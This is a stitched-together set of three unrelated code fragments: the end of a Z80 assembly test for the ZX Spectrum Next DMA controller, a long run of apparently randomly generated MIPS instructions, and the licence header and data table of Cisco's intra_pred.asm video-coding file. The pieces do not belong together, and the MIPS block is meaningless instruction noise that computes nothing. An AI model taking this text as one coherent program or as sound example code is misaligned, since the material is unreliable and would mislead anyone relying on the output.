ld a,DMA_LOAD ; load the internal counters with the patched settings
out (c),a
ld a,DMA_ENABLE ; start the transfer
out (c),a
ld a,DMA_DISABLE ; after block transfer, disable DMA from "inactive" state
out (c),a
;; short init 4+4+1 block using CONTINUE command
; set MSB DST_ADR $58CD, MSB SRC_ADR DmaSrcData9B (has same LSB as DmaSrcData4B), load + enable
nop : ; DW $01DD ; break
; WR0 = B->A transfer, MSB start addres port A
ld hl,(%0'0010'0'01<<8)|$58
out (c),h ; in zxnDMA continuous mode WR0 can be first write
out (c),l ; start address port A (MSB)
; WR4 = continuous mode, start address port B (MSB)
ld hl,(%1'01'0'10'01<<8)|(high DmaSrcData9B)
out (c),h ; WR4
out (c),l ; SRC_ADR MSB (port B)
ld a,DMA_LOAD ; load the internal counters with the patched settings
out (c),a
ld a,DMA_ENABLE ; start the transfer
out (c),a
ld a,DMA_DISABLE ; after block transfer, disable DMA from "inactive" state
out (c),a
; show the read-sequence values + one more after first transfer
ld b,5
call ReadAndShowDmaByte
djnz $-3
; and make new read sequence pending
ld a,DMA_START_READ_SEQUENCE
out (c),a
; just "continue"
; change: actually it does "useless" start address setup of port A/B to verify
; they don't get loaded when they should not (with "continue" only)
nop : ; DW $01DD ; break
; WR0 = start address A
ld de,MEM_ZX_ATTRIB_5800+$20*6 ; "error spot" over "short init" text
ld a,%0'0011'0'01
out (c),a ; in zxnDMA continuous mode WR0 can be first write
out (c),e ; start address port A
out (c),d ; start address port A
; WR4 = continuous mode, start address port B
ld a,%1'01'0'11'01
out (c),a
out (c),e ; start address port B
out (c),d ; start address port B
; just "continue"
ld a,DMA_CONTINUE ; reset length, but continue with pointers
out (c),a
ld a,DMA_ENABLE ; start the transfer
out (c),a
ld a,DMA_DISABLE ; after block transfer, disable DMA from "inactive" state
out (c),a
; show the read-sequence values after first "continue" transfer
ld b,4
call ReadAndShowDmaByte
djnz $-3
; set LSB length (does set also port A+B addresses to "error sport"), continue w/o load
nop : ; DW $01DD ; break
ld hl,(%0'0111'0'01<<8)|$01
out (c),h ; in zxnDMA continuous mode WR0 can be first write
out (c),e ; start address port A
out (c),d ; start address port A
out (c),l ; block length (LSB)
; WR4 = continuous mode, start address port B
ld a,%1'01'0'11'01
out (c),a
out (c),e ; start address port B
out (c),d ; start address port B
ld a,DMA_CONTINUE ; reset length, but continue with pointers (no LOAD!)
out (c),a
ld a,DMA_ENABLE ; start the transfer
out (c),a
ld a,DMA_DISABLE ; after block transfer, disable DMA from "inactive" state
out (c),a
;; set up the slow burst DMA + interrupt
; setup interrupt to change colors (every interrupt = 50/60Hz), and CPU speed (2s)
ld a,IM2_IVT
ld i,a
im 2
ei
halt
; reset color for first block to the white+red
ld a,P_WHITE|RED
ld (DmaSrcData1B),a
; setup the slow burst DMA with auto-restart
SetupBurstDma:
ld hl,DmaSlowBurstInit
ld b,DmaSlowBurstInitSz
otir
BORDER BLUE
jp EndTest
DmaFullInit:
BLOCK 6, DMA_RESET ; 6x DMA_RESET (to get out of any regular state, if 5B data are expected)
DB %0'0000'1'01 ; WR0 = A->B transfer (no extra bytes, yet)
DB %0'1'01'0'100, %10 ; WR1 = A memory, ++, cycle length=2
DB %0'1'01'0'000, %00'1'000'10, 0 ; WR2 = B memory, ++, cycle length=2, prescalar=0
DB %1'01'0'00'01 ; WR4 = continuous mode
DB %10'0'0'0010 ; WR5 = stop after block, /CE only
DmaFullInitSz EQU $ - DmaFullInit
DmaSlowBurstInit:
DB DMA_DISABLE
DB %0'1111'1'01 ; WR0 = A->B transfer, port A address, length
DW DmaSrcData1B ; source data address
DW $20*6 ; block length (six attr lines)
DB %0'0'10'0'100 ; WR1 = A memory, +0
DB %0'1'01'0'000, %00'1'000'10, 255 ; WR2 = B memory, ++, cycle length=2, prescalar=255
DB %1'10'0'11'01 ; WR4 = burst mode, port B address
DW MEM_ZX_ATTRIB_5800+$20*16
DB %10'1'0'0010 ; WR5 = auto-restart after block, /CE only
DB DMA_LOAD
DB DMA_ENABLE
DmaSlowBurstInitSz EQU $ - DmaSlowBurstInit
LegendaryText:
; 01234567012345670123456701234567
DB "A -> B m+ = m++, m- = m--"
DB "m+m+ \A\A\A\A m+m- \A\A\A\A m+m0 \A "
DB "m-m+ \A\A\A\A m-m- \A\A\A\A m-m0 \A "
DB "m0m+ \A\A\A\A m0m- \A\A\A\A m0m0 \A "
DB "IOm+ \A\A\A\A IOm- \A\A\A\A IOm0 \A "
DB "(IO is yellow colour when OK) "
DB "Short init: \A\A\A\A\A\A\A\A\A (4+4+1) "
DB " "
DB "B -> A m0=const, IO=I/O port"
DB "m+m+ \A\A\A\A m+m- \A\A\A\A m+m0 \A "
DB "m-m+ \A\A\A\A m-m- \A\A\A\A m-m0 \A "
DB "m0m+ \A\A\A\A m0m- \A\A\A\A m0m0 \A "
DB "IOm+ \A\A\A\A IOm- \A\A\A\A IOm0 \A "
DB " "
DB "Short cont: \A\A\A\A \A\A\A\A (4+4) "
DB "-==-==-==-==-==--==-==-==-==-==-"
DB "................................"
DB "................................"
DB "..\"slow\".burst.18FPS.color.chg.."
DB "..auto-restart..2s.CPU.MHz.chg.."
DB "................................"
DB "................................"
DB "-= 3.5 7 14 28 MHz -==-==-==-"
DB 0
ALIGN 256, $CC ; align to boundary
BLOCK 256, ATTR_BAD ; markers to signal extra/wrong bytes transfer
DmaSrcData4B:
; source pattern, 2x bright, non-bright, 1x bright
DB ATTR_DMA_B, ATTR_DMA_B, ATTR_DMA, ATTR_DMA_B
ALIGN 256, ATTR_BAD ; fill the red+red marker also after the source
DmaSrcData1B:
DB ATTR_DMA_B
ALIGN 256, ATTR_BAD ; fill the red+red marker also after the source
DmaSrcData9B:
DB ATTR_DMA_B, ATTR_DMA_B, ATTR_DMA, ATTR_DMA
DB ATTR_DMA, ATTR_DMA, ATTR_DMA, ATTR_DMA
DB ATTR_DMA_B
ALIGN 256, ATTR_BAD ; fill the red+red marker also after the source
ALIGN 256
IM2_IVT EQU high $
IM2_HANDLER EQU ((IM2_IVT+1)<<8)|(IM2_IVT+1)
BLOCK 257, IM2_IVT+1
ClearCpuSpeedMarker:
; A = CPU speed, C = attribute byte
.MEM_ATTR_CPU_SPEED EQU MEM_ZX_ATTRIB_5800+$20*22+2
ld h,high .MEM_ATTR_CPU_SPEED
rlca
rlca
add a,low .MEM_ATTR_CPU_SPEED
ld l,a ; HL = MEM_ATTR_CPU_SPEED + 4*speed
ld b,4
.fillLoop:
ld (hl),c
inc l
djnz .fillLoop
ret
org IM2_HANDLER
Im2Handler:
push af
push bc
push hl
; chage color
ld a,(DmaSrcData1B)
add a,P_BLUE|1
or P_GREEN
and $3F
ld (DmaSrcData1B),a
.TimeCnt EQU $+1
ld a,200
inc a
cp 2*50 ; 2s wait
jr c,.twoSecDidntPass
; change CPU speed
.CpuSpeed EQU $+1
ld a,3
push af
ld c,A_BRIGHT|P_WHITE|BLUE
call ClearCpuSpeedMarker
pop af
inc a
and $03
ld (.CpuSpeed),a
NEXTREG_A TURBO_CONTROL_NR_07
ld c,P_CYAN|BLACK
call ClearCpuSpeedMarker
; reset timer
xor a
.twoSecDidntPass:
ld (.TimeCnt),a
pop hl
pop bc
pop af
ei
ret
savesna "!dma.sna", Start
/*
Allen info about prescalar:
case turbo_i is
when "00" => DMA_timer_s <= DMA_timer_s + "00000000001000";
when "01" => DMA_timer_s <= DMA_timer_s + "00000000000100";
when "10" => DMA_timer_s <= DMA_timer_s + "00000000000010";
when others => DMA_timer_s <= DMA_timer_s + "00000000000001";
end case;
The top 9 bits are what are compared with the prescalar value to know when the time has expired.
This timer is zeroed when the dma read cycle starts and a check is made if the prescalar time has been satisfied at the end of the write cycle:
if (R2_portB_preescaler_s > 0) and (('0' & R2_portB_preescaler_s) > DMA_timer_s(13 downto 5)) then
If not satisfied, the dma waits for the time to be satisfied. If the burst mode is active, the dma gives up the bus as well.
Once satisfied, if continuous mode, the dma can go back to the dma read cycle for the first byte.
But if the bus was given up, it must go to an earlier stage that re-acquires the bus.
This wait occurs before a check is made to see if the transfer is complete.
*/
|
sll $4,$2,0
srav $3,$6,$3
andi $1,$2,16336
addu $4,$3,$3
srl $5,$3,23
slti $4,$3,-14820
slt $3,$4,$3
and $3,$4,$3
xor $3,$3,$3
and $3,$3,$3
sh $5,4($0)
sw $1,0($0)
addu $6,$6,$3
srlv $4,$1,$3
subu $4,$3,$3
sllv $4,$1,$3
or $0,$4,$3
sh $4,6($0)
addiu $3,$3,-4484
andi $3,$0,53335
xor $3,$5,$3
lb $3,8($0)
xor $4,$4,$3
ori $4,$3,53401
lh $4,16($0)
sh $3,10($0)
lw $3,4($0)
sb $5,16($0)
ori $3,$3,12064
sh $4,2($0)
sb $1,2($0)
xori $3,$4,61837
lh $1,2($0)
nor $0,$4,$3
sra $6,$5,26
sra $3,$3,23
andi $5,$5,6912
sra $4,$6,2
nor $6,$1,$3
and $5,$6,$3
srlv $0,$3,$3
addiu $3,$0,-19826
srav $1,$4,$3
sh $3,10($0)
lbu $3,7($0)
lw $6,0($0)
sra $3,$5,20
addu $1,$3,$3
sw $5,16($0)
sw $3,0($0)
ori $4,$2,19346
andi $3,$0,60277
sw $4,12($0)
slti $3,$5,-20598
xori $1,$5,60245
sh $0,0($0)
addiu $6,$3,28010
srav $4,$4,$3
addu $1,$5,$3
xori $6,$6,11203
srl $6,$3,20
xori $3,$4,39460
addiu $3,$0,24613
nor $5,$5,$3
sll $5,$3,24
sll $4,$4,7
or $6,$4,$3
sb $1,9($0)
lhu $0,6($0)
slt $0,$0,$3
nor $6,$6,$3
addu $3,$2,$3
slt $1,$3,$3
lb $3,0($0)
lh $5,0($0)
sra $6,$0,30
subu $1,$3,$3
lw $3,0($0)
sb $4,16($0)
subu $3,$4,$3
sb $1,12($0)
sw $4,4($0)
sltiu $4,$4,28176
subu $3,$4,$3
srlv $4,$5,$3
andi $4,$4,33581
lbu $1,9($0)
xori $4,$4,6501
addu $1,$4,$3
andi $3,$3,20158
sll $3,$3,4
sw $1,16($0)
lw $4,0($0)
lb $4,7($0)
sltiu $4,$1,26392
sll $4,$5,24
andi $5,$5,19001
nor $5,$5,$3
addu $5,$1,$3
addiu $5,$5,5417
xori $3,$5,1443
and $6,$4,$3
lh $5,0($0)
sll $0,$6,13
slt $4,$3,$3
addu $3,$3,$3
sra $5,$1,16
addu $4,$4,$3
sltiu $4,$1,-22589
sw $3,8($0)
sll $1,$6,0
lw $0,16($0)
lb $3,9($0)
lb $5,5($0)
addiu $4,$3,-7631
srlv $1,$4,$3
andi $4,$4,14607
slti $5,$5,-349
addu $1,$5,$3
sll $4,$4,21
srlv $4,$4,$3
srav $5,$5,$3
ori $3,$3,4241
xor $0,$4,$3
or $2,$2,$3
subu $5,$5,$3
sra $5,$3,20
sltu $3,$3,$3
nor $4,$4,$3
lbu $5,13($0)
nor $3,$3,$3
slti $3,$6,-12478
xor $1,$3,$3
sb $5,9($0)
addu $4,$4,$3
sltu $3,$4,$3
xori $3,$4,56147
nor $6,$4,$3
lhu $0,6($0)
srl $3,$2,3
sll $3,$3,29
lb $4,14($0)
andi $6,$6,55524
sw $1,8($0)
addiu $4,$4,28945
sw $5,4($0)
lw $5,8($0)
lhu $5,10($0)
addiu $5,$0,-24311
sw $5,12($0)
sllv $3,$3,$3
addu $1,$5,$3
sltiu $3,$4,9972
or $5,$1,$3
lb $4,6($0)
or $5,$0,$3
xori $0,$5,39447
lh $6,10($0)
xor $5,$0,$3
addiu $5,$1,-24831
xori $4,$5,27535
srl $5,$5,10
slti $1,$1,-13043
srav $6,$6,$3
lw $4,4($0)
ori $4,$1,110
lh $3,2($0)
sh $4,16($0)
subu $3,$3,$3
lhu $4,4($0)
lhu $5,10($0)
srav $4,$4,$3
addiu $4,$5,1023
nor $5,$1,$3
nor $4,$3,$3
subu $0,$3,$3
addu $4,$4,$3
or $4,$6,$3
and $3,$1,$3
srl $0,$3,6
sllv $5,$3,$3
slti $1,$5,28201
sh $5,2($0)
addu $5,$6,$3
addiu $3,$4,2283
sltu $3,$4,$3
lbu $1,10($0)
addiu $5,$5,-13105
sllv $1,$2,$3
subu $1,$4,$3
lw $3,4($0)
addu $4,$5,$3
and $4,$4,$3
addiu $3,$3,-3298
or $4,$4,$3
addiu $0,$0,-32650
lh $4,6($0)
subu $3,$3,$3
and $5,$4,$3
lh $3,8($0)
lbu $3,2($0)
or $1,$1,$3
addu $3,$3,$3
subu $3,$3,$3
lbu $1,12($0)
sw $3,0($0)
or $5,$2,$3
and $3,$4,$3
lbu $4,15($0)
slti $4,$4,25928
addiu $3,$1,-9589
addu $3,$3,$3
addu $3,$3,$3
sllv $3,$3,$3
addiu $3,$3,4554
subu $1,$1,$3
slt $3,$3,$3
subu $3,$4,$3
addiu $4,$5,-5584
addiu $5,$3,-1233
sltiu $3,$5,-23748
nor $5,$5,$3
srav $6,$2,$3
srav $3,$1,$3
srav $3,$3,$3
sb $4,15($0)
and $1,$5,$3
addu $0,$3,$3
subu $1,$1,$3
addu $4,$0,$3
lw $0,4($0)
xori $3,$1,58697
xori $3,$3,41899
slt $1,$1,$3
lh $4,16($0)
xori $3,$3,31054
nor $6,$4,$3
addu $3,$3,$3
andi $4,$1,21425
xori $0,$3,1719
lhu $0,10($0)
srlv $4,$6,$3
srlv $4,$1,$3
and $3,$3,$3
slt $4,$1,$3
subu $1,$1,$3
slt $3,$4,$3
lb $3,10($0)
lh $3,0($0)
sw $6,4($0)
xor $5,$1,$3
addiu $5,$5,32111
srlv $4,$1,$3
lbu $3,13($0)
slt $5,$4,$3
addiu $0,$3,1789
and $3,$3,$3
lbu $6,0($0)
addiu $4,$5,5322
addiu $4,$1,3787
sltiu $3,$6,-16812
lb $5,10($0)
slti $5,$5,-15510
subu $1,$3,$3
sw $3,12($0)
lbu $3,8($0)
lw $5,4($0)
lb $3,13($0)
sll $3,$5,26
addu $1,$1,$3
lhu $3,2($0)
slt $0,$3,$3
and $4,$4,$3
lh $3,10($0)
or $4,$1,$3
andi $5,$3,6249
addiu $4,$3,15802
sra $0,$0,2
lw $3,16($0)
addu $3,$6,$3
and $1,$3,$3
slti $2,$2,25526
sll $3,$3,24
nor $3,$3,$3
and $1,$4,$3
lbu $4,7($0)
addiu $5,$2,18064
sltu $3,$3,$3
sltiu $6,$3,27251
lbu $4,6($0)
lhu $0,10($0)
addiu $5,$3,31694
sh $3,16($0)
andi $3,$4,46924
xori $1,$3,57956
slti $0,$0,-28480
lb $3,7($0)
srlv $3,$6,$3
lh $2,12($0)
subu $3,$3,$3
sltu $4,$4,$3
xor $6,$6,$3
lw $3,4($0)
xori $4,$3,28257
addu $4,$0,$3
nor $5,$4,$3
sltu $6,$4,$3
and $5,$5,$3
sh $5,12($0)
subu $3,$3,$3
lhu $3,8($0)
lbu $3,1($0)
subu $4,$2,$3
addu $6,$5,$3
sb $4,11($0)
subu $0,$1,$3
slti $6,$3,10460
lw $3,0($0)
subu $1,$4,$3
sh $3,10($0)
and $0,$3,$3
addiu $4,$0,-12384
or $4,$5,$3
and $4,$3,$3
andi $6,$6,54001
sll $0,$0,30
lbu $5,2($0)
slt $6,$4,$3
nor $0,$5,$3
slt $4,$4,$3
xori $3,$3,11843
slti $3,$5,-24800
subu $5,$3,$3
nor $3,$3,$3
addu $4,$4,$3
sw $3,8($0)
addiu $4,$4,-681
lb $2,2($0)
addiu $3,$4,-3708
srl $6,$4,31
lw $4,8($0)
sw $6,16($0)
or $1,$1,$3
slti $3,$5,-15973
srav $5,$5,$3
lbu $0,13($0)
srav $3,$1,$3
sll $3,$3,15
subu $4,$3,$3
and $1,$1,$3
ori $3,$3,54567
sb $3,3($0)
lh $3,6($0)
srlv $3,$1,$3
subu $0,$0,$3
lb $3,3($0)
lb $4,0($0)
sw $5,0($0)
lb $5,8($0)
addiu $3,$5,-28950
andi $3,$3,40577
nor $3,$1,$3
addiu $5,$3,-31046
srav $3,$1,$3
sh $5,6($0)
subu $3,$1,$3
nor $3,$5,$3
slt $5,$4,$3
lw $5,4($0)
addu $5,$6,$3
subu $1,$3,$3
and $4,$6,$3
sb $1,3($0)
and $4,$3,$3
nor $4,$4,$3
nor $5,$4,$3
sra $0,$0,5
nor $1,$4,$3
sb $1,1($0)
subu $5,$0,$3
addiu $4,$4,-2646
sll $1,$3,30
sh $1,6($0)
sll $1,$3,19
slt $1,$3,$3
lb $6,12($0)
sllv $5,$2,$3
addu $1,$5,$3
lhu $5,0($0)
sll $4,$3,14
andi $4,$6,56742
sltiu $3,$6,17504
sltu $1,$6,$3
subu $3,$5,$3
or $5,$1,$3
sltiu $0,$3,-23776
sll $3,$5,24
srlv $1,$1,$3
nor $3,$5,$3
addu $0,$5,$3
xori $4,$3,12446
xori $3,$3,62465
srlv $3,$3,$3
or $3,$5,$3
slti $3,$4,-29273
sw $1,12($0)
sllv $0,$3,$3
sltiu $6,$0,-4518
sb $3,14($0)
xor $6,$6,$3
srlv $0,$0,$3
lw $1,4($0)
srlv $5,$5,$3
lw $3,8($0)
srl $6,$3,6
ori $6,$5,65509
sltiu $1,$3,-31968
nor $3,$4,$3
lhu $4,6($0)
lh $5,16($0)
lbu $5,10($0)
subu $3,$1,$3
subu $4,$5,$3
lw $4,16($0)
addiu $5,$5,10155
nor $3,$3,$3
slt $5,$3,$3
xor $6,$0,$3
lbu $3,15($0)
slt $3,$4,$3
lbu $3,16($0)
sb $4,1($0)
nor $4,$4,$3
sw $6,12($0)
lbu $5,14($0)
lh $3,8($0)
lw $3,16($0)
sltiu $4,$4,21466
xor $0,$5,$3
xor $4,$5,$3
srlv $5,$5,$3
sltiu $1,$3,14341
sltiu $4,$4,20329
subu $5,$3,$3
addiu $4,$6,6373
nor $3,$3,$3
xori $0,$5,30197
sltu $0,$5,$3
lbu $3,16($0)
sllv $4,$4,$3
srl $3,$3,12
ori $4,$5,24939
srlv $3,$3,$3
addiu $3,$4,9177
slti $3,$0,-22177
nor $4,$6,$3
srlv $3,$1,$3
lb $3,3($0)
addu $0,$4,$3
sb $0,5($0)
sll $0,$3,12
sltiu $4,$4,5994
srl $1,$6,6
xor $0,$5,$3
lhu $4,14($0)
srlv $4,$4,$3
sw $3,4($0)
sh $3,8($0)
xor $6,$1,$3
andi $4,$3,57680
slti $1,$1,3507
sb $6,5($0)
addiu $1,$4,-16168
xori $4,$5,15158
sll $3,$1,25
andi $4,$0,10500
lb $4,1($0)
srav $0,$5,$3
slt $3,$3,$3
or $4,$3,$3
lhu $6,12($0)
lb $4,4($0)
subu $5,$5,$3
and $4,$1,$3
slt $1,$3,$3
sb $5,16($0)
srlv $3,$4,$3
lhu $3,4($0)
slti $1,$3,10675
addu $4,$4,$3
sltu $4,$1,$3
lh $0,16($0)
sll $1,$3,14
addiu $3,$3,-229
srav $3,$4,$3
srlv $1,$0,$3
addiu $3,$1,10693
subu $1,$1,$3
slt $1,$0,$3
slti $5,$3,-17607
addu $3,$3,$3
addu $6,$1,$3
ori $1,$1,52756
xor $5,$6,$3
sb $4,13($0)
sb $6,13($0)
sll $6,$0,22
and $3,$1,$3
sllv $5,$5,$3
lw $4,16($0)
addiu $1,$1,-20666
slt $6,$5,$3
lhu $5,16($0)
or $0,$4,$3
lbu $5,12($0)
xori $1,$1,3600
addu $3,$3,$3
sll $3,$4,12
subu $1,$1,$3
srav $6,$4,$3
sh $5,14($0)
srl $6,$3,11
and $4,$3,$3
sh $4,6($0)
xor $4,$3,$3
lb $4,15($0)
slt $0,$5,$3
lb $3,0($0)
slti $6,$4,-6663
xori $0,$6,65129
addu $5,$4,$3
sb $0,8($0)
lh $3,0($0)
nor $0,$6,$3
or $5,$4,$3
and $5,$3,$3
addu $0,$3,$3
subu $3,$3,$3
xori $0,$5,23061
sltu $4,$4,$3
addu $3,$3,$3
lw $3,8($0)
sll $3,$1,28
slti $0,$1,28112
addu $3,$4,$3
sltu $3,$6,$3
addu $3,$3,$3
srlv $3,$4,$3
nor $4,$4,$3
lh $4,6($0)
slti $5,$6,-29050
addiu $6,$1,-10763
srlv $3,$4,$3
sw $4,4($0)
sllv $4,$6,$3
lhu $3,0($0)
lbu $6,1($0)
xori $1,$3,52232
sll $0,$0,27
addiu $4,$6,14386
sw $1,8($0)
nor $1,$1,$3
srlv $3,$5,$3
xor $4,$0,$3
addiu $3,$4,-6933
lhu $4,2($0)
andi $1,$1,20821
sltiu $6,$5,23767
sltu $4,$5,$3
slti $5,$5,-14736
sh $4,10($0)
andi $3,$1,20043
andi $4,$4,61915
sb $5,6($0)
slt $1,$1,$3
lb $3,14($0)
lh $1,10($0)
andi $4,$4,39691
addu $3,$3,$3
sllv $5,$4,$3
lw $4,12($0)
addu $3,$3,$3
ori $3,$3,62537
addu $1,$1,$3
xori $3,$0,5549
sb $0,15($0)
lw $5,8($0)
addiu $3,$6,-21551
slti $3,$6,-845
slt $4,$4,$3
srlv $3,$6,$3
subu $4,$1,$3
sh $3,4($0)
lbu $6,13($0)
srl $4,$5,24
nor $3,$4,$3
and $1,$4,$3
nor $3,$5,$3
and $5,$4,$3
subu $6,$3,$3
lw $3,0($0)
sra $1,$3,11
srlv $5,$6,$3
ori $5,$5,34977
xor $3,$5,$3
sltiu $3,$3,-3010
addu $0,$4,$3
andi $4,$1,41835
srlv $0,$4,$3
xori $1,$4,5861
xori $4,$4,933
xori $3,$4,20482
sb $3,5($0)
xori $5,$5,3820
srlv $5,$1,$3
srav $5,$0,$3
lhu $4,12($0)
sll $3,$3,13
subu $0,$0,$3
srl $1,$1,27
lh $3,14($0)
subu $0,$3,$3
sb $1,13($0)
sb $5,2($0)
xori $5,$5,4797
xori $1,$1,31004
addu $1,$3,$3
sra $3,$5,29
slt $0,$3,$3
nor $3,$3,$3
addiu $3,$3,-11152
xor $4,$0,$3
addu $6,$1,$3
sltiu $1,$3,26022
sra $4,$4,1
addiu $3,$5,-26705
lw $4,4($0)
lw $3,12($0)
sw $4,8($0)
addiu $3,$3,-4301
subu $5,$5,$3
xori $4,$5,53731
andi $4,$5,13627
andi $3,$1,1885
sw $0,16($0)
sll $4,$3,17
ori $0,$4,1769
sllv $3,$3,$3
subu $2,$2,$3
sltu $5,$5,$3
srl $6,$5,14
sra $0,$4,28
sllv $6,$3,$3
ori $4,$4,12116
subu $1,$1,$3
xor $5,$3,$3
slti $3,$3,-28323
and $3,$3,$3
lw $4,0($0)
sll $1,$4,11
sw $0,16($0)
and $3,$4,$3
sltiu $1,$3,20118
subu $3,$5,$3
sltiu $3,$6,-31519
srl $1,$5,16
sltu $5,$0,$3
addu $5,$3,$3
sb $4,3($0)
lw $4,4($0)
lbu $3,13($0)
srav $3,$3,$3
addiu $5,$5,-3917
subu $3,$1,$3
and $4,$4,$3
addu $3,$3,$3
sw $3,0($0)
addiu $6,$3,19791
sra $3,$3,30
sltiu $4,$4,11695
lhu $3,4($0)
sh $1,2($0)
srlv $0,$3,$3
addiu $0,$3,15554
addiu $1,$1,3292
sh $5,10($0)
sh $1,0($0)
ori $3,$5,26441
lw $1,4($0)
addiu $3,$6,14239
slti $1,$5,-24905
srl $1,$5,1
xori $6,$3,17448
lhu $3,4($0)
addiu $3,$5,7592
lh $3,8($0)
sb $5,16($0)
addiu $4,$4,21346
addiu $3,$4,-16291
sltiu $3,$6,-3355
lb $4,2($0)
slt $4,$2,$3
sra $5,$5,4
addu $3,$3,$3
lhu $4,2($0)
lw $5,12($0)
sllv $4,$5,$3
and $5,$0,$3
andi $3,$1,10558
or $4,$4,$3
nor $1,$6,$3
lb $4,10($0)
addiu $4,$1,-31262
sll $5,$4,27
xori $3,$3,47362
xori $4,$4,8262
slti $0,$0,16952
slt $4,$3,$3
slti $4,$6,27756
lhu $2,4($0)
or $5,$4,$3
lbu $1,15($0)
sh $4,10($0)
sra $3,$3,19
srav $5,$5,$3
lw $1,4($0)
lbu $0,14($0)
lhu $4,6($0)
ori $4,$1,53716
sltiu $4,$4,23434
addiu $4,$3,-9884
srav $4,$6,$3
subu $3,$3,$3
lbu $6,1($0)
lh $4,10($0)
nor $0,$4,$3
ori $1,$1,51138
subu $4,$4,$3
sb $1,5($0)
addiu $4,$2,27970
lbu $3,9($0)
subu $0,$3,$3
lb $1,8($0)
nor $0,$1,$3
xori $0,$3,14267
ori $0,$0,7853
sh $6,2($0)
sh $4,16($0)
slt $4,$4,$3
xor $1,$1,$3
sltu $5,$3,$3
srav $4,$1,$3
lw $1,12($0)
sw $0,8($0)
addiu $5,$1,7032
lb $3,13($0)
ori $3,$5,51271
slti $5,$3,28417
addu $3,$3,$3
xori $0,$0,61438
sll $5,$5,6
sh $1,12($0)
sw $4,12($0)
subu $4,$5,$3
sllv $3,$3,$3
lh $1,6($0)
ori $5,$3,41967
addu $3,$3,$3
or $1,$4,$3
slt $3,$3,$3
sllv $0,$3,$3
subu $4,$1,$3
addiu $3,$6,-9503
nor $4,$4,$3
sll $3,$0,16
sb $6,16($0)
subu $3,$4,$3
or $5,$3,$3
slti $3,$3,-30625
sltiu $4,$4,-7326
slti $4,$3,-13878
sll $4,$4,4
lh $3,16($0)
sltu $4,$3,$3
srl $5,$5,24
sra $4,$3,5
srl $3,$1,5
sh $1,2($0)
addu $1,$0,$3
sw $3,16($0)
subu $5,$3,$3
sltu $5,$5,$3
srl $1,$1,0
sltiu $3,$3,26136
sllv $4,$0,$3
or $4,$3,$3
srl $1,$3,17
andi $1,$0,41583
sra $1,$4,14
or $1,$6,$3
slt $4,$4,$3
addiu $6,$1,3962
sh $6,2($0)
subu $1,$3,$3
sllv $4,$3,$3
subu $3,$3,$3
subu $4,$4,$3
nor $4,$4,$3
nor $3,$4,$3
srav $4,$4,$3
sll $1,$2,6
sra $3,$3,4
slt $5,$2,$3
sra $6,$6,11
or $3,$5,$3
sh $6,4($0)
subu $4,$4,$3
sw $6,0($0)
slti $1,$4,4238
subu $5,$4,$3
subu $3,$1,$3
nor $3,$4,$3
sltiu $4,$3,-18051
xori $4,$4,13018
sltiu $4,$3,-26085
xor $1,$5,$3
slti $3,$3,586
lh $4,0($0)
sb $0,1($0)
srav $1,$4,$3
andi $3,$4,22265
srlv $5,$1,$3
lbu $3,1($0)
ori $3,$3,63945
addu $4,$4,$3
or $1,$1,$3
lw $5,4($0)
xor $4,$5,$3
or $1,$4,$3
and $4,$3,$3
sra $3,$6,12
xor $5,$3,$3
sltiu $5,$3,-5520
sra $3,$1,9
slt $4,$3,$3
srl $3,$3,12
ori $3,$3,58252
addiu $5,$4,25182
sw $4,0($0)
srav $0,$4,$3
sra $3,$1,16
srav $6,$3,$3
sltu $5,$1,$3
lh $5,4($0)
srav $0,$0,$3
addu $3,$3,$3
lw $6,12($0)
slti $1,$5,21076
andi $1,$5,48609
sllv $0,$3,$3
sw $5,12($0)
addu $1,$1,$3
sllv $1,$3,$3
srlv $5,$3,$3
xori $3,$3,3208
lbu $4,7($0)
lhu $3,0($0)
xori $1,$1,30999
lh $5,6($0)
sra $4,$4,10
lw $3,4($0)
sllv $3,$3,$3
slti $0,$4,12701
nor $1,$3,$3
xori $1,$5,25071
lbu $4,10($0)
lw $4,8($0)
and $5,$6,$3
srl $3,$4,30
addu $3,$3,$3
ori $4,$4,58088
lw $0,16($0)
srlv $5,$5,$3
sra $5,$1,21
sh $3,2($0)
srl $3,$5,17
addiu $1,$1,27303
sra $3,$3,4
|
;*!
;* \copy
;* Copyright (c) 2009-2013, Cisco Systems
;* All rights reserved.
;*
;* Redistribution and use in source and binary forms, with or without
;* modification, are permitted provided that the following conditions
;* are met:
;*
;* * Redistributions of source code must retain the above copyright
;* notice, this list of conditions and the following disclaimer.
;*
;* * Redistributions in binary form must reproduce the above copyright
;* notice, this list of conditions and the following disclaimer in
;* the documentation and/or other materials provided with the
;* distribution.
;*
;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
;* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
;* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
;* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
;* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
;* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
;* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
;* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
;* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
;* POSSIBILITY OF SUCH DAMAGE.
;*
;*
;* intra_pred.asm
;*
;* Abstract
;* sse2 function for intra predict operations
;*
;* History
;* 18/09/2009 Created
;*
;*
;*************************************************************************/
%include "asm_inc.asm"
;***********************************************************************
; Local Data (Read Only)
;***********************************************************************
SECTION .rodata align=16
align 16
sse2_plane_inc_minus dw -7, -6, -5, -4, -3, -2, -1, 0
align 16
sse2_plane_inc dw 1, 2, 3, 4, 5, 6, 7, 8
align 16
sse2_plane_dec dw 8, 7, 6, 5, 4, 3, 2, 1
; for chroma plane mode
sse2_plane_inc_c dw 1, 2, 3, 4
sse2_plane_dec_c dw 4, 3, 2, 1
align 16
sse2_plane_mul_b_c dw -3, -2, -1, 0, 1, 2, 3, 4
align 16
mmx_01bytes: times 16 db 1
align 16
mmx_0x02: dw 0x02, 0x00, 0x00, 0x00
;***********************************************************************
; macros
;***********************************************************************
;dB 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
